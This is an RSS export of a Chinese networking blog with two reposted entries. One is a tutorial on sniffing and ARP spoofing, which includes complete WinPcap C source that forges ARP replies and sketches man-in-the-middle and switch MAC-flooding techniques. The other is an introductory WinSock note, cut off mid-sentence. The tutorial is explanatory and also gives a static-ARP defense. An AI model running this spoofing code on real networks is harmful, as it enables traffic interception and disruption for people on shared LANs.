<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type='text/xsl' href='http://flipcode.spaces.live.com/mmm2008-05-17_13.22/rsspretty.aspx?rssquery=en-US;http%3a%2f%2fflipcode.spaces.live.com%2fcategory%2f%e7%bd%91%e7%bb%9c%e7%bc%96%e7%a8%8b%2ffeed.rss' version='1.0'?><rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:msn="http://schemas.microsoft.com/msn/spaces/2005/rss" xmlns:live="http://schemas.microsoft.com/live/spaces/2006/rss" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:cf="http://www.microsoft.com/schemas/rss/core/2005" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>飘零风雨亭: 网络编程</title><description /><link>http://flipcode.spaces.live.com/?_c11_BlogPart_BlogPart=blogview&amp;_c=BlogPart&amp;partqs=cat%25E7%25BD%2591%25E7%25BB%259C%25E7%25BC%2596%25E7%25A8%258B</link><language>en-US</language><pubDate>Mon, 23 Jun 2008 08:31:31 GMT</pubDate><lastBuildDate>Mon, 23 Jun 2008 08:31:31 GMT</lastBuildDate><generator>Microsoft Spaces v1.1</generator><docs>http://www.rssboard.org/rss-specification</docs><ttl>60</ttl><cf:parentRSS>http://flipcode.spaces.live.com/blog/feed.rss</cf:parentRSS><live:type>blogcategory</live:type><live:identity><live:id>-8189920746979949719</live:id><live:alias>flipcode</live:alias></live:identity><cf:listinfo><cf:group ns="http://schemas.microsoft.com/live/spaces/2006/rss" element="typelabel" label="Type" /><cf:group ns="http://schemas.microsoft.com/live/spaces/2006/rss" element="tag" label="Tag" /><cf:group element="category" label="Category" /><cf:sort element="pubDate" label="Date" data-type="date" default="true" /><cf:sort element="title" label="Title" data-type="string" /><cf:sort ns="http://purl.org/rss/1.0/modules/slash/" element="comments" label="Comments" data-type="number" /></cf:listinfo><item><title>交换网络中的嗅探和ARP欺骗(转载)</title><link>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!896.entry</link><description>&lt;div&gt;&lt;a href="http://my.opera.com/neutronstar/blog/?startidx=3"&gt;http://my.opera.com/neutronstar/blog/?startidx=3&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;&lt;br&gt;交换网络中的嗅探和ARP欺骗(转载)&lt;/div&gt;
&lt;div&gt;&lt;br&gt;Monday, 20. March 2006, 03:19:46&lt;/div&gt;
&lt;div&gt;嗅探, Sniff, ARP, Mac &lt;/div&gt;
&lt;div&gt;以太网内的嗅探（sniff）对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现&lt;br&gt;网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;ARP缓存表&lt;br&gt;假设这样一个网络：&lt;/div&gt;
&lt;div&gt;——————————&lt;br&gt;| HUB |&lt;br&gt;——————————&lt;br&gt;| | | &lt;br&gt;| | | &lt;br&gt;| | | &lt;br&gt;HostA HostB HostC &lt;/div&gt;
&lt;div&gt;其中&lt;br&gt;A的地址为：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA&lt;br&gt;B的地址为：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB&lt;br&gt;C的地址为：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC&lt;/div&gt;
&lt;div&gt;假设B是属于一个嗅探爱好者的，比如A机器的ARP缓存：&lt;/div&gt;
&lt;div&gt;C:\&amp;gt;arp -a&lt;/div&gt;
&lt;div&gt;Interface: 192.168.10.1 on Interface 0x1000003&lt;br&gt;Internet Address Physical Address Type&lt;br&gt;192.168.10.3 CC-CC-CC-CC-CC-CC dynamic&lt;/div&gt;
&lt;div&gt;这是192.168.10.1机器上的ARP缓存表，假设，A进行一次ping 192.168.10.3操作，PING主机C，会查询本地的&lt;br&gt;ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记&lt;br&gt;录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接&lt;br&gt;收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据（由网卡附加MAC地址）。&lt;br&gt;因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;集线器网络(Hub-Based)&lt;/div&gt;
&lt;div&gt;很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候，Hub只是简单地把这个数据包广播&lt;br&gt;到Hub的所有端口上。&lt;br&gt;这就是上面举例中的一种网络结构。&lt;/div&gt;
&lt;div&gt;现在A需要发送TCP数据包给C。首先，A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记&lt;br&gt;录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并&lt;br&gt;且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包，Ethernet帧中就包含了C的MAC地址。当数据包传输&lt;br&gt;到HUB的时候，HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。&lt;/div&gt;
&lt;div&gt;正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。&lt;/div&gt;
&lt;div&gt;因此，Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;交换网络（Switched Lan）&lt;/div&gt;
&lt;div&gt;交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。Switch不是把数&lt;br&gt;据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面&lt;br&gt;例子中的HUB换为Switch，B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;ARP欺骗（ ARP spoofing）&lt;/div&gt;
&lt;div&gt;ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存&lt;br&gt;进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应&lt;br&gt;答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地&lt;br&gt;址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不&lt;br&gt;知道被伪造了）。&lt;/div&gt;
&lt;div&gt;现在A机器的ARP缓存更新了：&lt;/div&gt;
&lt;div&gt;C:\&amp;gt;arp -a&lt;/div&gt;
&lt;div&gt;Interface: 192.168.10.1 on Interface 0x1000003&lt;br&gt;Internet Address Physical Address Type&lt;br&gt;192.168.10.3 DD-DD-DD-DD-DD-DD dynamic&lt;/div&gt;
&lt;div&gt;这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的&lt;br&gt;MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是&lt;br&gt;DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通，A根本不能Ping通C！！&lt;/div&gt;
&lt;div&gt;这就是一个简单的ARP欺骗。&lt;/div&gt;
&lt;div&gt;我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（&lt;a href="http://winpcap.polito.it/"&gt;http://winpcap.polito.it/&lt;/a&gt;）&lt;br&gt;winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。&lt;/div&gt;
&lt;div&gt;///////////////////////////////////////////////////////////////////////////////&lt;br&gt;//&lt;br&gt;// ARP Sender&lt;br&gt;//&lt;br&gt;// Creator: Refdom&lt;br&gt;// Email: &lt;a href="mailto:refdom@263.net"&gt;refdom@263.net&lt;/a&gt;&lt;br&gt;// Home Page: &lt;a href="http://www.opengram.com"&gt;www.opengram.com&lt;/a&gt;&lt;br&gt;//&lt;br&gt;// 2002/4/7&lt;br&gt;//&lt;br&gt;////////////////////////////////////////////////////////////////////////////////&lt;/div&gt;
&lt;div&gt;#include &amp;quot;stdafx.h&amp;quot;&lt;br&gt;#include &amp;quot;Mac.h&amp;quot; //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了&lt;br&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;#include &amp;lt;Packet32.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#define EPT_IP 0x0800 /* type: IP */&lt;br&gt;#define EPT_ARP 0x0806 /* type: ARP */&lt;br&gt;#define EPT_RARP 0x8035 /* type: RARP */&lt;br&gt;#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */&lt;br&gt;#define ARP_REQUEST 0x0001 /* ARP request */&lt;br&gt;#define ARP_REPLY 0x0002 /* ARP reply */&lt;/div&gt;
&lt;div&gt;#define Max_Num_Adapter 10&lt;/div&gt;
&lt;div&gt;#pragma pack(push, 1)&lt;/div&gt;
&lt;div&gt;typedef struct ehhdr &lt;br&gt;{&lt;br&gt;unsigned char eh_dst[6]; /* destination ethernet addrress */&lt;br&gt;unsigned char eh_src[6]; /* source ethernet addresss */&lt;br&gt;unsigned short eh_type; /* ethernet pachet type */&lt;br&gt;}EHHDR, *PEHHDR;&lt;/div&gt;
&lt;div&gt;&lt;br&gt;typedef struct arphdr&lt;br&gt;{&lt;br&gt;unsigned short arp_hrd; /* format of hardware address */&lt;br&gt;unsigned short arp_pro; /* format of protocol address */&lt;br&gt;unsigned char arp_hln; /* length of hardware address */&lt;br&gt;unsigned char arp_pln; /* length of protocol address */&lt;br&gt;unsigned short arp_op; /* ARP/RARP operation */&lt;/div&gt;
&lt;div&gt;unsigned char arp_sha[6]; /* sender hardware address */&lt;br&gt;unsigned long arp_spa; /* sender protocol address */&lt;br&gt;unsigned char arp_tha[6]; /* target hardware address */&lt;br&gt;unsigned long arp_tpa; /* target protocol address */&lt;br&gt;}ARPHDR, *PARPHDR;&lt;/div&gt;
&lt;div&gt;typedef struct arpPacket&lt;br&gt;{&lt;br&gt;EHHDR ehhdr;&lt;br&gt;ARPHDR arphdr;&lt;br&gt;} ARPPACKET, *PARPPACKET;&lt;/div&gt;
&lt;div&gt;#pragma pack(pop)&lt;/div&gt;
&lt;div&gt;int main(int argc, char* argv[])&lt;br&gt;{&lt;br&gt;static char AdapterList[Max_Num_Adapter][1024]; &lt;br&gt;char szPacketBuf[600];&lt;br&gt;char MacAddr[6];&lt;/div&gt;
&lt;div&gt;LPADAPTER lpAdapter;&lt;br&gt;LPPACKET lpPacket;&lt;br&gt;WCHAR AdapterName[2048];&lt;br&gt;WCHAR *temp,*temp1;&lt;br&gt;ARPPACKET ARPPacket;&lt;/div&gt;
&lt;div&gt;ULONG AdapterLength = 1024;&lt;/div&gt;
&lt;div&gt;int AdapterNum = 0;&lt;br&gt;int nRetCode, i;&lt;/div&gt;
&lt;div&gt;//Get The list of Adapter&lt;br&gt;if(PacketGetAdapterNames((char*)AdapterName, &amp;amp;AdapterLength) == FALSE)&lt;br&gt;{&lt;br&gt;printf(&amp;quot;Unable to retrieve the list of the adapters!\n&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;temp = AdapterName;&lt;br&gt;temp1=AdapterName;&lt;br&gt;i = 0;&lt;br&gt;while ((*temp != '\0')||(*(temp-1) != '\0'))&lt;br&gt;{&lt;br&gt;if (*temp == '\0') &lt;br&gt;{&lt;br&gt;memcpy(AdapterList,temp1,(temp-temp1)*2);&lt;br&gt;temp1=temp+1;&lt;br&gt;i++;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;temp++;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;AdapterNum = i;&lt;br&gt;for (i = 0; i &amp;lt; AdapterNum; i++)&lt;br&gt;wprintf(L&amp;quot;\n%d- %s\n&amp;quot;, i+1, AdapterList);&lt;br&gt;printf(&amp;quot;\n&amp;quot;);&lt;/div&gt;
&lt;div&gt;//Default open the 0&lt;br&gt;lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);&lt;br&gt;//取第一个网卡（假设啦）&lt;/div&gt;
&lt;div&gt;if (!lpAdapter || (lpAdapter-&amp;gt;hFile == INVALID_HANDLE_VALUE))&lt;br&gt;{&lt;br&gt;nRetCode = GetLastError();&lt;br&gt;printf(&amp;quot;Unable to open the driver, Error Code : %lx\n&amp;quot;, nRetCode);&lt;br&gt;return 0;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;lpPacket = PacketAllocatePacket();&lt;br&gt;if(lpPacket == NULL)&lt;br&gt;{&lt;br&gt;printf(&amp;quot;\nError:failed to allocate the LPPACKET structure.&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;ZeroMemory(szPacketBuf, sizeof(szPacketBuf));&lt;/div&gt;
&lt;div&gt;if (!GetMacAddr(&amp;quot;BBBBBBBBBBBB&amp;quot;, MacAddr))&lt;br&gt;{&lt;br&gt;printf (&amp;quot;Get Mac address error!\n&amp;quot;);&lt;br&gt;}&lt;br&gt;memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址&lt;/div&gt;
&lt;div&gt;if (!GetMacAddr(&amp;quot;AAAAAAAAAAAA&amp;quot;, MacAddr))&lt;br&gt;{&lt;br&gt;printf (&amp;quot;Get Mac address error!\n&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;br&gt;memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）&lt;/div&gt;
&lt;div&gt;ARPPacket.ehhdr.eh_type = htons(EPT_ARP);&lt;/div&gt;
&lt;div&gt;ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);&lt;br&gt;ARPPacket.arphdr.arp_pro = htons(EPT_IP);&lt;br&gt;ARPPacket.arphdr.arp_hln = 6;&lt;br&gt;ARPPacket.arphdr.arp_pln = 4;&lt;br&gt;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);&lt;/div&gt;
&lt;div&gt;if (!GetMacAddr(&amp;quot;DDDDDDDDDDDD&amp;quot;, MacAddr))&lt;br&gt;{&lt;br&gt;printf (&amp;quot;Get Mac address error!\n&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;br&gt;memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址&lt;br&gt;ARPPacket.arphdr.arp_spa = inet_addr(&amp;quot;192.168.10.3&amp;quot;); //C的IP地址&lt;/div&gt;
&lt;div&gt;if (!GetMacAddr(&amp;quot;AAAAAAAAAAAA&amp;quot;, MacAddr))&lt;br&gt;{&lt;br&gt;printf (&amp;quot;Get Mac address error!\n&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;br&gt;memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址&lt;br&gt;ARPPacket.arphdr.arp_tpa = inet_addr(&amp;quot;192.168.10.1&amp;quot;); //目标A的IP地址&lt;/div&gt;
&lt;div&gt;memcpy(szPacketBuf, (char*)&amp;amp;ARPPacket, sizeof(ARPPacket));&lt;br&gt;PacketInitPacket(lpPacket, szPacketBuf, 60);&lt;/div&gt;
&lt;div&gt;if(PacketSetNumWrites(lpAdapter, 2)==FALSE)&lt;br&gt;{&lt;br&gt;printf(&amp;quot;warning: Unable to send more than one packet in a single write!\n&amp;quot;);&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)&lt;br&gt;{&lt;br&gt;printf(&amp;quot;Error sending the packets!\n&amp;quot;);&lt;br&gt;return 0;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;printf (&amp;quot;Send ok!\n&amp;quot;);&lt;/div&gt;
&lt;div&gt;// close the adapter and exit&lt;br&gt;PacketFreePacket(lpPacket);&lt;br&gt;PacketCloseAdapter(lpAdapter);&lt;br&gt;return 0;&lt;br&gt;}&lt;/div&gt;
&lt;div&gt;于是A接收到一个被伪造的ARP应答。A被欺骗了！！倘若在局域网中看某某机器不顺眼，……&lt;/div&gt;
&lt;div&gt;&lt;br&gt;以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能&lt;br&gt;够发现，主机、Switch（动态更新地址表类型，下同）中的缓存表依然是（主要是）动态的。要在一个交换网络中&lt;br&gt;进行有效的嗅探工作（地下党？），需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础&lt;br&gt;中我们就能够做到。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;对目标进行ARP欺骗&lt;/div&gt;
&lt;div&gt;就象上面程序中实现的一样，对目标A进行欺骗，A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如&lt;br&gt;果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正&lt;br&gt;好是B能够接收到A发送的数据包了么，嗅探成功。&lt;br&gt;A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了！！B对接收到A发送&lt;br&gt;给C的数据包可没有转交给C。&lt;br&gt;做“man in the middle”,进行ARP重定向。打开B的IP转发功能，A发送过来的数据包，转发给C，好比一个路由&lt;br&gt;器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。&lt;br&gt;直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为&lt;br&gt;是从A发送来的。不过，C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥&lt;br&gt;梁了。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;对Switch的MAC欺骗&lt;/div&gt;
&lt;div&gt;Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对&lt;br&gt;应MAC地址表Port n &amp;lt;-&amp;gt; Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学&lt;br&gt;习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧&lt;br&gt;的原MAC地址AAAA，然后在地址表中记录：Port 1 &amp;lt;-&amp;gt; AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1&lt;br&gt;口输出，而不会从其它的口输出。&lt;/div&gt;
&lt;div&gt;跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来&lt;br&gt;不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地（B）发送的数据包MAC地址为原来A的&lt;br&gt;MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对&lt;br&gt;应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。&lt;/div&gt;
&lt;div&gt;但是，这里有一个问题，A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，&lt;br&gt;让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;对Switch进行Flood&lt;/div&gt;
&lt;div&gt;就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端&lt;br&gt;口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包，Switch就更新MAC-PORT缓存，如果&lt;br&gt;能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基&lt;br&gt;本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。&lt;/div&gt;
&lt;div&gt;存在的问题，Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情&lt;br&gt;况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探（嗅探也会引起一些丢失）。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换&lt;br&gt;机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。&lt;/div&gt;
&lt;div&gt;至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用&lt;br&gt;arp -s 来进行静态ARP的设置。&lt;/div&gt;
&lt;div&gt;&lt;br&gt;作者Blog：&lt;a href="http://blog.csdn.net/kgdiwss/"&gt;http://blog.csdn.net/kgdiwss/&lt;/a&gt;&lt;/div&gt;&lt;img src="http://c.services.spaces.live.com/CollectionWebService/c.gif?cid=-8189920746979949719&amp;page=RSS%3a+%e4%ba%a4%e6%8d%a2%e7%bd%91%e7%bb%9c%e4%b8%ad%e7%9a%84%e5%97%85%e6%8e%a2%e5%92%8cARP%e6%ac%ba%e9%aa%97(%e8%bd%ac%e8%bd%bd)&amp;referrer=" width="1px" height="1px" border="0" alt=""&gt;&lt;img style="position:absolute" alt="" width="0px" height="0px" src="http://c.live.com/c.gif?NC=31263&amp;amp;NA=1149&amp;amp;PI=73329&amp;amp;RF=&amp;amp;DI=3919&amp;amp;PS=85545&amp;amp;TP=flipcode.spaces.live.com&amp;amp;GT1=flipcode"&gt;</description><comments>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!896.entry#comment</comments><guid isPermaLink="true">http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!896.entry</guid><pubDate>Wed, 10 Jan 2007 05:33:16 GMT</pubDate><slash:comments>0</slash:comments><msn:type>blogentry</msn:type><live:type>blogentry</live:type><live:typelabel>Blog entry</live:typelabel><wfw:commentRss>http://flipcode.spaces.live.com/blog/cns!8E578E7901A88369!896/comments/feed.rss</wfw:commentRss><wfw:comment>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!896.entry#comment</wfw:comment><dcterms:modified>2007-01-10T05:33:16Z</dcterms:modified></item><item><title>WinSock学习笔记(转载)</title><link>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!136.entry</link><description>&lt;p&gt;网上看到这篇文章觉得总结得不错，故转载&lt;br&gt;来源:&lt;br&gt;&lt;a href="http://www.azure.com.cn/article.asp?id=78"&gt;http://www.azure.com.cn/article.asp?id=78&lt;/a&gt;
&lt;p&gt;具体内容也可参见本回复
&lt;p&gt;&lt;br&gt;flipcode 2005-8-21 22:36:45&lt;br&gt; &lt;br&gt; 注册: 2004-5    状态: online 1    &lt;br&gt; &lt;br&gt;flipcode
&lt;p&gt;爱心战士&lt;br&gt;  发表于: 2005-8-21 22:37:00                           &lt;br&gt; 
&lt;p&gt;--------------------------------------------------------------------------------&lt;br&gt;Re: WinSock学习笔记(转载)
&lt;p&gt;&lt;br&gt;WinSock学习笔记&lt;br&gt;[ 2005-06-30 20:36:43 | 作者: Admin ] &lt;br&gt;字体大小: 大 | 中 | 小 &lt;br&gt;作者：肖进
&lt;p&gt;Socket（套接字）
&lt;p&gt;◆先看定义：&lt;br&gt;typedef unsigned int u_int;&lt;br&gt;typedef u_int SOCKET;&lt;br&gt;◆Socket相当于进行网络通信两端的插座，只要对方的Socket和自己的Socket有通信联接，双方就可以发送和接收数据了。其定义类似于文件句柄的定义。
&lt;p&gt;◆Socket有五种不同的类型：
&lt;p&gt;1、流式套接字(stream socket)&lt;br&gt;定义：&lt;br&gt;#define SOCK_STREAM 1 &lt;br&gt;流式套接字提供了双向、有序的、无重复的以及无记录边界的数据流服务，适合处理大量数据。它是面向联结的，必须建立数据传输链路，同时还必须对传输的数据进行验证，确保数据的准确性。因此，系统开销较大。
&lt;p&gt;2、 数据报套接字(datagram socket)
&lt;p&gt;定义：&lt;br&gt;#define SOCK_DGRAM 2 &lt;br&gt;数据报套接字也支持双向的数据流，但不保证传输数据的准确性，但保留了记录边界。由于数据报套接字是无联接的，例如广播时的联接，所以并不保证接收端是否正在侦听。数据报套接字传输效率比较高。
&lt;p&gt;3、原始套接字(raw-protocol interface)
&lt;p&gt;定义：&lt;br&gt;#define SOCK_RAW 3 &lt;br&gt;原始套接字保存了数据包中的完整IP头，前面两种套接字只能收到用户数据。因此可以通过原始套接字对数据进行分析。&lt;br&gt;其它两种套接字不常用，这里就不介绍了。
&lt;p&gt;◆Socket开发所必须需要的文件(以WinSock V2.0为例)：
&lt;p&gt;头文件：Winsock2.h
&lt;p&gt;库文件：WS2_32.LIB
&lt;p&gt;动态库：W32_32.DLL
&lt;p&gt;一些重要的定义
&lt;p&gt;1、数据类型的基本定义：这个大家一看就懂。&lt;br&gt;typedef unsigned char u_char;&lt;br&gt;typedef unsigned short u_short;&lt;br&gt;typedef unsigned int u_int;&lt;br&gt;typedef unsigned long u_long;&lt;br&gt;2、 网络地址的数据结构，有一个老的和一个新的的，请大家留意，如果想知道为什么，&lt;br&gt;请发邮件给Bill Gate。其实就是计算机的IP地址，不过一般不用用点分开的IP地&lt;br&gt;址，当然也提供一些转换函数。
&lt;p&gt;◆ 旧的网络地址结构的定义，为一个4字节的联合：&lt;br&gt;struct in_addr &lt;br&gt; {&lt;br&gt; union &lt;br&gt; {&lt;br&gt; struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;&lt;br&gt; struct { u_short s_w1,s_w2; } S_un_w;&lt;br&gt; u_long S_addr;&lt;br&gt; } S_un;&lt;br&gt; #define s_addr S_un.S_addr /* can be used for most tcp &amp;amp; ip code */&lt;br&gt; //下面几行省略,反正没什么用处。&lt;br&gt; };&lt;br&gt;其实完全不用这么麻烦，请看下面:
&lt;p&gt;◆ 新的网络地址结构的定义：&lt;br&gt;非常简单，就是一个无符号长整数 unsigned long。举个例子：IP地址为127.0.0.1的网络地址是什么呢？请看定义：&lt;br&gt;#define INADDR_LOOPBACK 0x7f000001
&lt;p&gt;3、 套接字地址结构
&lt;p&gt;(1)、sockaddr结构：&lt;br&gt;struct sockaddr {&lt;br&gt; u_short sa_family; /* address family */&lt;br&gt; char sa_data[14]; /* up to 14 bytes of direct address */&lt;br&gt; };&lt;br&gt;sa_family为网络地址类型，一般为AF_INET，表示该socket在Internet域中进行通信，该地址结构随选择的协议的不同而变化，因此一般情况下另一个与该地址结构大小相同的sockaddr_in结构更为常用，sockaddr_in结构用来标识TCP/IP协议下的地址。换句话说，这个结构是通用socket地址结构，而下面的sockaddr_in是专门针对Internet域的socket地址结构。
&lt;p&gt;(2)、sockaddr_in结构&lt;br&gt;struct sockaddr_in {&lt;br&gt; short sin_family;&lt;br&gt; u_short sin_port;&lt;br&gt; struct in_addr sin_addr;&lt;br&gt; char sin_zero[8];&lt;br&gt;};&lt;br&gt;sin _family为网络地址类型，必须设定为AF_INET。sin_port为服务端口，注意不要使用已固定的服务端口，如HTTP的端口80等。如果端口设置为0，则系统会自动分配一个唯一端口。sin_addr为一个unsigned long的IP地址。sin_zero为填充字段，纯粹用来保证结构的大小。
&lt;p&gt;◆ 将常用的用点分开的IP地址转换为unsigned long类型的IP地址的函数：&lt;br&gt;unsigned long inet_addr(const char FAR * cp )&lt;br&gt;用法：&lt;br&gt;unsigned long addr=inet_addr(&amp;quot;192.1.8.84&amp;quot;)
&lt;p&gt;◆ 如果将sin_addr设置为INADDR_ANY，则表示所有的IP地址，也即所有的计算机。&lt;br&gt;#define INADDR_ANY (u_long)0x00000000
&lt;p&gt;4、 主机地址：
&lt;p&gt;先看定义：&lt;br&gt;struct hostent {&lt;br&gt; char FAR * h_name; /* official name of host */&lt;br&gt; char FAR * FAR * h_aliases; /* alias list */&lt;br&gt; short h_addrtype; /* host address type */&lt;br&gt; short h_length; /* length of address */&lt;br&gt; char FAR * FAR * h_addr_list; /* list of addresses */&lt;br&gt; #define h_addr h_addr_list[0] /* address, for backward compat */&lt;br&gt; };&lt;br&gt;h_name为主机名字。&lt;br&gt;h_aliases为主机别名列表。&lt;br&gt;h_addrtype为地址类型。&lt;br&gt;h_length为地址类型。&lt;br&gt;h_addr_list为IP地址，如果该主机有多个网卡，就包括地址的列表。&lt;br&gt;另外还有几个类似的结构，这里就不一一介绍了。
&lt;p&gt;5、 常见TCP/IP协议的定义：&lt;br&gt;#define IPPROTO_IP 0 &lt;br&gt;#define IPPROTO_ICMP 1 &lt;br&gt;#define IPPROTO_IGMP 2 &lt;br&gt;#define IPPROTO_TCP 6 &lt;br&gt;#define IPPROTO_UDP 17 &lt;br&gt;#define IPPROTO_RAW 255 &lt;br&gt;具体是什么协议，大家一看就知道了。
&lt;p&gt;套接字的属性
&lt;p&gt;为了灵活使用套接字，我们可以对它的属性进行设定。
